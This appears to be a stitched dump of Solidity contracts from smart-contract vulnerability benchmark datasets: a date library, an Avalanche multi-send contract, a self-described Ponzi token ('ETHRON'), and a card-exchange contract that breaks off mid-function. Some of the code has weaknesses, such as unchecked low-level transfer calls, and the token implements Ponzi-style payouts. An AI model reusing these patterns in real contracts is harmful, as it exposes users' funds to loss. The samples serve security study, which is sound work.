require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Date {
struct _Date {
uint16 year;
uint8 month;
uint8 day;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_Date memory dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
}
| 163,759 | 11,193 |
231d2af334a47c1c4709c84e092861c8ff1c27e64be52fcd551dde273eb7a909
| 14,258 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8c/8cc4cc82ff5e160545a2d32f56797253f0b88de9_FundzMultiSend.sol
| 3,638 | 13,583 |
// SPDX-License-Identifier: Blah
pragma solidity ^0.7.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract Escapable is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
function escapeHatch(address _token, address payable _escapeHatchDestination) external onlyOwner nonReentrant {
require(_escapeHatchDestination != address(0x0));
uint256 balance;
/// Logic for Avax
if (_token == address(0x0)) {
balance = address(this).balance;
_escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
// Logic for tokens
IERC20 token = IERC20(_token);
balance = token.balanceOf(address(this));
token.safeTransfer(_escapeHatchDestination, balance);
emit EscapeHatchCalled(_token, balance);
}
event EscapeHatchCalled(address token, uint256 amount);
}
contract MultiTransfer is Pausable {
using SafeMath for uint256;
function multiTransfer_OST(address payable[] calldata _addresses, uint256[] calldata _amounts)
payable external whenNotPaused returns(bool)
{
uint256 _value = msg.value;
for (uint8 i; i < _addresses.length; i++) {
_value = _value.sub(_amounts[i]);
_addresses[i].call{ value: _amounts[i] }("");
}
return true;
}
function transfer2(address payable _address1, uint256 _amount1, address payable _address2, uint256 _amount2)
payable external whenNotPaused returns(bool)
{
uint256 _value = msg.value;
_value = _value.sub(_amount1);
_value = _value.sub(_amount2);
_address1.call{ value: _amount1 }("");
_address2.call{ value: _amount2 }("");
return true;
}
}
contract MultiTransferEqual is Pausable {
function multiTransferEqual_L1R(address payable[] calldata _addresses, uint256 _amount)
payable external whenNotPaused returns(bool)
{
require(_amount <= msg.value / _addresses.length);
for (uint8 i; i < _addresses.length; i++) {
_addresses[i].call{ value: _amount }("");
}
return true;
}
}
contract MultiTransferToken is Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function multiTransferToken_a4A(address _token,
address[] calldata _addresses,
uint256[] calldata _amounts,
uint256 _amountSum) payable external whenNotPaused
{
IERC20 token = IERC20(_token);
token.safeTransferFrom(msg.sender, address(this), _amountSum);
for (uint8 i; i < _addresses.length; i++) {
_amountSum = _amountSum.sub(_amounts[i]);
token.transfer(_addresses[i], _amounts[i]);
}
}
}
contract MultiTransferTokenEqual is Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function multiTransferTokenEqual_71p(address _token,
address[] calldata _addresses,
uint256 _amount) payable external whenNotPaused
{
uint256 _amountSum = _amount.mul(_addresses.length);
IERC20 token = IERC20(_token);
token.safeTransferFrom(msg.sender, address(this), _amountSum);
for (uint8 i; i < _addresses.length; i++) {
token.transfer(_addresses[i], _amount);
}
}
}
contract MultiTransferTokenAvax is Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function multiTransferTokenAvax(address _token,
address payable[] calldata _addresses,
uint256[] calldata _amounts,
uint256 _amountSum,
uint256[] calldata _amountsAvax) payable external whenNotPaused
{
uint256 _value = msg.value;
IERC20 token = IERC20(_token);
token.safeTransferFrom(msg.sender, address(this), _amountSum);
for (uint8 i; i < _addresses.length; i++) {
_amountSum = _amountSum.sub(_amounts[i]);
_value = _value.sub(_amountsAvax[i]);
token.transfer(_addresses[i], _amounts[i]);
_addresses[i].call{ value: _amountsAvax[i] }("");
}
}
}
contract MultiTransferTokenAvaxEqual is Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function multiTransferTokenAvaxEqual(address _token,
address payable[] calldata _addresses,
uint256 _amount,
uint256 _amountAvax) payable external whenNotPaused
{
require(_amountAvax <= msg.value / _addresses.length);
uint256 _amountSum = _amount.mul(_addresses.length);
IERC20 token = IERC20(_token);
token.safeTransferFrom(msg.sender, address(this), _amountSum);
for (uint8 i; i < _addresses.length; i++) {
token.transfer(_addresses[i], _amount);
_addresses[i].call{ value: _amountAvax }("");
}
}
}
contract FundzMultiSend is Pausable, Escapable,
MultiTransfer,
MultiTransferEqual,
MultiTransferToken,
MultiTransferTokenEqual,
MultiTransferTokenAvax,
MultiTransferTokenAvaxEqual
{
function emergencyStop() external onlyOwner {
_pause();
}
receive() external payable {
revert("Cannot accept AVAX directly.");
}
fallback() external payable { require(msg.data.length == 0); }
}
| 71,723 | 11,194 |
0e814540f2b728a7b7d0bd2212daf0ae1b0b2c483ab6c968639e91ed9a1235cb
| 9,388 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc608f567bcf51b0d84edef669b9d7d47440b7bb7.sol
| 3,310 | 9,105 |
pragma solidity ^0.4.19;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// 10% fees, price goes up crazy fast
contract EthronTokenPonzi {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "ETHRON";
string constant public symbol = "ETRN";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//address owner;
function EthronTokenPonzi() public {
//owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| 200,143 | 11,195 |
4e9bf607953d5df612f0d4725960774db49c79b41e18f506d7faafb1bb328171
| 24,319 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x641eb054e97e9079c5fd6da0eadcbfbe214c93e7.sol
| 6,112 | 21,870 |
pragma solidity =0.5.13;
interface ICards {
function cardProtos(uint tokenId) external view returns (uint16 proto);
function cardQualities(uint tokenId) external view returns (uint8 quality);
}
interface IERC721 {
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract GodsUnchainedCards is IERC721, ICards {}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract CardExchange {
using SafeMath for uint256;
GodsUnchainedCards constant public godsUnchainedCards = GodsUnchainedCards(0x0E3A2A1f2146d86A604adc220b4967A898D7Fe07);
mapping (address => mapping(uint256 => BuyOrder)) public buyOrdersById;
mapping (address => mapping(uint256 => SellOrder)) public sellOrdersById;
string private constant domain = "EIP712Domain(string name)";
bytes32 public constant domainTypeHash = keccak256(abi.encodePacked(domain));
bytes32 private domainSeparator = keccak256(abi.encode(domainTypeHash, keccak256("Sell Gods Unchained cards on gu.cards")));
string private constant sellOrdersForTokenIdsType = "SellOrders(uint256[] ids,uint256[] tokenIds,uint256[] prices)";
bytes32 public constant sellOrdersForTokenIdsTypeHash = keccak256(abi.encodePacked(sellOrdersForTokenIdsType));
string private constant sellOrdersForProtosAndQualitiesType = "SellOrders(uint256[] ids,uint256[] protos,uint256[] qualities,uint256[] prices)";
bytes32 public constant sellOrdersForProtosAndQualitiesTypeHash = keccak256(abi.encodePacked(sellOrdersForProtosAndQualitiesType));
uint256 public lockedInFunds;
bool public paused;
uint256 public exchangeFee;
address payable public owner;
address payable private nextOwner;
event BuyOrderCreated(uint256 id);
event SellOrderCreated(uint256 id);
event BuyOrderCanceled(uint256 id);
event SellOrderCanceled(uint256 id);
event Settled(uint256 buyOrderId, uint256 sellOrderId);
struct BuyOrder {
uint256 id;
uint256 price;
uint256 fee;
uint16 proto;
uint8 quality;
address payable buyer;
bool settled;
bool canceled;
}
struct SellOrder {
uint256 id;
uint256 tokenId;
uint16 proto;
uint8 quality;
uint256 price;
address payable seller;
bool settled;
bool canceled;
bool tokenIsSet;
}
modifier onlyOwner {
require(msg.sender == owner, "Function called by non-owner.");
_;
}
modifier onlyUnpaused {
require(paused == false, "Exchange is paused.");
_;
}
constructor() public {
owner = msg.sender;
}
function createBuyOrders(uint256[] calldata ids, uint256[] calldata protos, uint256[] calldata prices, uint256[] calldata qualities) onlyUnpaused external payable {
_createBuyOrders(ids, protos, prices, qualities);
}
function createBuyOrdersAndSettle(uint256[] calldata orderData, uint256[] calldata sellOrderIds, uint256[] calldata tokenIds, address[] calldata sellOrderAddresses) onlyUnpaused external payable {
uint256[] memory buyOrderIds = _unpackOrderData(orderData, 0);
_createBuyOrders(buyOrderIds,
_unpackOrderData(orderData, 1),
_unpackOrderData(orderData, 3),
_unpackOrderData(orderData, 2));
uint256 length = tokenIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]], tokenIds[i]);
_settle(buyOrdersById[msg.sender][buyOrderIds[i]],
sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function createBuyOrderAndSettleWithOffChainSellOrderForTokenIds(uint256[] calldata orderData, address sellOrderAddress, uint256[] calldata sellOrderIds, uint256[] calldata sellOrderTokenIds, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external payable {
_ensureBuyOrderPrice(orderData[2]);
_createBuyOrder(orderData[0], uint16(orderData[1]), orderData[2], uint8(orderData[3]));
_createOffChainSignedSellOrdersForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
_settle(buyOrdersById[msg.sender][orderData[0]], sellOrdersById[sellOrderAddress][orderData[4]]);
}
function createBuyOrderAndSettleWithOffChainSellOrderForProtosAndQualities(uint256 buyOrderId, uint16 buyOrderProto, uint256 buyOrderPrice, uint8 buyOrderQuality, uint256 sellOrderId, address sellOrderAddress, uint256 tokenId, uint256[] calldata sellOrderData, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external payable {
_ensureBuyOrderPrice(buyOrderPrice);
_createBuyOrder(buyOrderId, buyOrderProto, buyOrderPrice, buyOrderQuality);
_createOffChainSignedSellOrdersForProtosAndQualities(_unpackOrderData(sellOrderData, 0),
_unpackOrderData(sellOrderData, 1),
_unpackOrderData(sellOrderData, 2),
_unpackOrderData(sellOrderData, 3),
v,
r,
s);
_updateSellOrderTokenId(sellOrdersById[sellOrderAddress][sellOrderId], tokenId);
_settle(buyOrdersById[msg.sender][buyOrderId], sellOrdersById[sellOrderAddress][sellOrderId]);
}
function _ensureBuyOrderPrice(uint256 price) private view {
require(msg.value >= (price.add(price.mul(exchangeFee).div(1000))) &&
price > 0,
"Amount sent to the contract needs to cover at least this buy order's price and fee (and needs to be bigger than 0).");
}
function _unpackOrderData(uint256[] memory orderData, uint256 part) private pure returns (uint256[] memory data) {
uint256 length = orderData.length/4;
uint256[] memory returnData = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
returnData[i] = orderData[i*4+part];
}
return returnData;
}
function _createBuyOrders(uint256[] memory ids, uint256[] memory protos, uint256[] memory prices, uint256[] memory qualities) private {
uint256 totalAmountToPay = 0;
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
_createBuyOrder(ids[i], uint16(protos[i]), prices[i], uint8(qualities[i]));
totalAmountToPay = totalAmountToPay.add(prices[i].add(prices[i].mul(exchangeFee).div(1000)));
}
require(msg.value >= totalAmountToPay && msg.value > 0, "ETH sent to the contract is insufficient (prices + exchange fees)!");
}
function _createBuyOrder(uint256 id, uint16 proto, uint256 price, uint8 quality) private {
BuyOrder storage buyOrder = buyOrdersById[msg.sender][id];
require(buyOrder.id == 0, "Buy order with this ID does already exist!");
buyOrder.id = id;
buyOrder.proto = proto;
buyOrder.price = price;
buyOrder.fee = price.mul(exchangeFee).div(1000);
buyOrder.quality = quality;
buyOrder.buyer = msg.sender;
lockedInFunds = lockedInFunds.add(buyOrder.price.add(buyOrder.fee));
emit BuyOrderCreated(buyOrder.id);
}
function cancelBuyOrders(uint256[] calldata ids) external {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
BuyOrder storage buyOrder = buyOrdersById[msg.sender][ids[i]];
require(buyOrder.settled == false, "Order has already been settled!");
require(buyOrder.canceled == false, "Order has already been canceled!");
buyOrder.canceled = true;
lockedInFunds = lockedInFunds.sub(buyOrder.price.add(buyOrder.fee));
buyOrder.buyer.transfer(buyOrder.price.add(buyOrder.fee));
emit BuyOrderCanceled(buyOrder.id);
}
}
function createSellOrdersForTokenIds(uint256[] calldata ids, uint256[] calldata prices, uint256[] calldata tokenIds) onlyUnpaused external {
_createSellOrdersForTokenIds(ids, prices, tokenIds, msg.sender);
}
function _createSellOrdersForTokenIds(uint256[] memory ids, uint256[] memory prices, uint256[] memory tokenIds, address payable seller) private {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
_createSellOrderForTokenId(ids[i], prices[i], tokenIds[i], seller);
}
}
function _createSellOrderForTokenId(uint256 id, uint256 price, uint256 tokenId, address seller) private {
_createSellOrder(id,
price,
tokenId,
godsUnchainedCards.cardProtos(tokenId),
godsUnchainedCards.cardQualities(tokenId),
seller,
true);
}
function createSellOrdersForProtosAndQualities(uint256[] calldata ids, uint256[] calldata prices, uint256[] calldata protos, uint256[] calldata qualities) onlyUnpaused external {
_createSellOrdersForProtosAndQualities(ids, prices, protos, qualities, msg.sender);
}
function _createSellOrdersForProtosAndQualities(uint256[] memory ids, uint256[] memory prices, uint256[] memory protos, uint256[] memory qualities, address payable seller) private {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
